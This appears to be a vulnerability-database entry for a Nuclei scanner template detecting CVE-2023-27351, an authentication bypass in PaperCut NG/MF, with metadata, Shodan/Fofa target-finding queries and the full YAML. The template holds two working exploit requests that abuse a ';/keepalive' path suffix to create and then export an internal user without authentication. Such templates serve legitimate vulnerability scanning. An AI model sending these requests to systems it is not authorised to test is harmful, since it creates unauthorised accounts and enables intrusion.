SecurityContext

CVE-2023-27351: PaperCut NG - Authentication Bypass

  • Template: CVE-2023-27351
  • Name: PaperCut NG - Authentication Bypass
  • Description: This vulnerability allows remote attackers to bypass authentication on affected installations of PaperCut NG 22.0.5 (Build 63914). Authentication is not required to exploit this vulnerability. The specific flaw exists within the SecurityRequestFilter class. The issue results from improper implementation of the authentication algorithm. An attacker can leverage this vulnerability to bypass authentication on the system. Was ZDI-CAN-19226.
  • Impact: Attackers can bypass authentication, gaining unauthorized access to the system and potentially executing malicious actions.
  • Remediation: Update to the latest version of PaperCut NG that addresses this issue or apply the security patch provided by the vendor.
  • Severity: high
  • Authors: daffainfo, jjcho
  • Tags: cve2023, cve, papercut, auth-bypass, vkev, kev, intrusive, vuln
  • References: https://www.papercut.com/kb/Main/PO-1216-and-PO-1219, https://www.zerodayinitiative.com/advisories/ZDI-23-232/, https://nvd.nist.gov/vuln/detail/CVE-2023-27351
  • Cves: CVE-2023-27351
  • Verified: yes
  • Max requests: 2
  • Directory: http/cves
  • Path: http/cves/2023/CVE-2023-27351.yaml
  • Digest: 4b0a00483046022100de68c77d469e6dda338b5a63d7e8455bb4f3c572f8425b110c9b3ac75b9433ba022100ef34493c741750d146e9d6d7de8c2c3d86a51583c8853a51a82f144a4f8f5f3d
  • Created at: 2025-12-26T07:48:17Z
  • Updated at: 2026-11-19T02:03:50Z
  • Age in days: 333
  • Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-27351.yaml

Classification

  • Cwe: CWE-287
  • Cvss score: 8.2
  • Cvss vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
  • Epss score: 0.78052
  • Epss percentile: 0.99582
  • Cpe: cpe:2.3:a:papercut:papercut_mf:*:*:*:*:*:*:*:*,cpe:2.3:a:papercut:papercut_ng:*:*:*:*:*:*:*:*

Metadata

  • Fofa-query: body="papercut", body="content=\"papercut\""
  • Max-request: 2
  • Product: papercut_mf,papercut_ng
  • Shodan-query: http.html:"PaperCut", http.html:"papercut", http.html:"content=\"papercut\"", cpe:"cpe:2.3:a:papercut:papercut_mf"
  • Vendor: papercut
  • Verified: yes

Products

ProductIndexedUrl
papercut:papercut_mfyes/v1/products/papercut/papercut_mf
papercut:papercut_ngyes/v1/products/papercut/papercut_ng

Labels

  • Name: PaperCut NG - Authentication Bypass
  • Impact: Attackers can bypass authentication, gaining unauthorized access to the system and potentially executing malicious actions.
  • Remediation: Update to the latest version of PaperCut NG that addresses this issue or apply the security patch provided by the vendor.
  • Vulnerability type: broken_authentication
  • Vulnerability impact: privilege_escalation
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2023-27351
  • Not known: requirements

```yaml

id: CVE-2023-27351

info:

name: PaperCut NG - Authentication Bypass

author: daffainfo,jjcho

severity: high

description: |

This vulnerability allows remote attackers to bypass authentication on affected installations of PaperCut NG 22.0.5 (Build 63914). Authentication is not required to exploit this vulnerability. The specific flaw exists within the SecurityRequestFilter class. The issue results from improper implementation of the authentication algorithm. An attacker can leverage this vulnerability to bypass authentication on the system. Was ZDI-CAN-19226.

impact: |

Attackers can bypass authentication, gaining unauthorized access to the system and potentially executing malicious actions.

remediation: |

Update to the latest version of PaperCut NG that addresses this issue or apply the security patch provided by the vendor.

reference:

- https://www.papercut.com/kb/Main/PO-1216-and-PO-1219

- https://www.zerodayinitiative.com/advisories/ZDI-23-232/

- https://nvd.nist.gov/vuln/detail/CVE-2023-27351

classification:

cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

cvss-score: 8.2

cve-id: CVE-2023-27351

epss-score: 0.78052

epss-percentile: 0.99582

cwe-id: CWE-287

cpe: cpe:2.3:a:papercut:papercut_mf:*:*:*:*:*:*:*:*,cpe:2.3:a:papercut:papercut_ng:*:*:*:*:*:*:*:*

metadata:

verified: true

max-request: 2

vendor: papercut

product: papercut_mf,papercut_ng

shodan-query:

- http.html:"PaperCut"

- http.html:"papercut"

- http.html:"content=\"papercut\""

- cpe:"cpe:2.3:a:papercut:papercut_mf"

fofa-query:

- body="papercut"

- body="content=\"papercut\""

tags: cve2023,cve,papercut,auth-bypass,vkev,kev,intrusive,vuln

flow: http(1) && http(2)

variables:

username: "{{randbase(8)}}"

password: "{{randstr}}"

http:

- raw:

- |

POST /rpc/api/rest/master/user/createInternalUser;/keepalive HTTP/1.1

Host: {{Hostname}}

Content-Type: application/json

{"username":["{{username}}"],"password":["{{password}}"]}

matchers:

- type: dsl

dsl:

- "contains(body, 'rO0A')"

- "contains(content_type, 'application/json')"

- "status_code == 200"

condition: and

internal: true

- raw:

- |

POST /rpc/api/rest/master/user/getExportedUser;/keepalive HTTP/1.1

Host: {{Hostname}}

Content-Type: application/json

{"username":["{{username}}"]}

matchers:

- type: dsl

dsl:

- "contains_all(body, 'java.lang.String', 'HASH:', '{{username}}')"

- "contains(content_type, 'application/json')"

- "status_code == 200"

condition: and

digest: 4b0a00483046022100de68c77d469e6dda338b5a63d7e8455bb4f3c572f8425b110c9b3ac75b9433ba022100ef34493c741750d146e9d6d7de8c2c3d86a51583c8853a51a82f144a4f8f5f3d:922c64590222798bb761d5b6d8e72950

```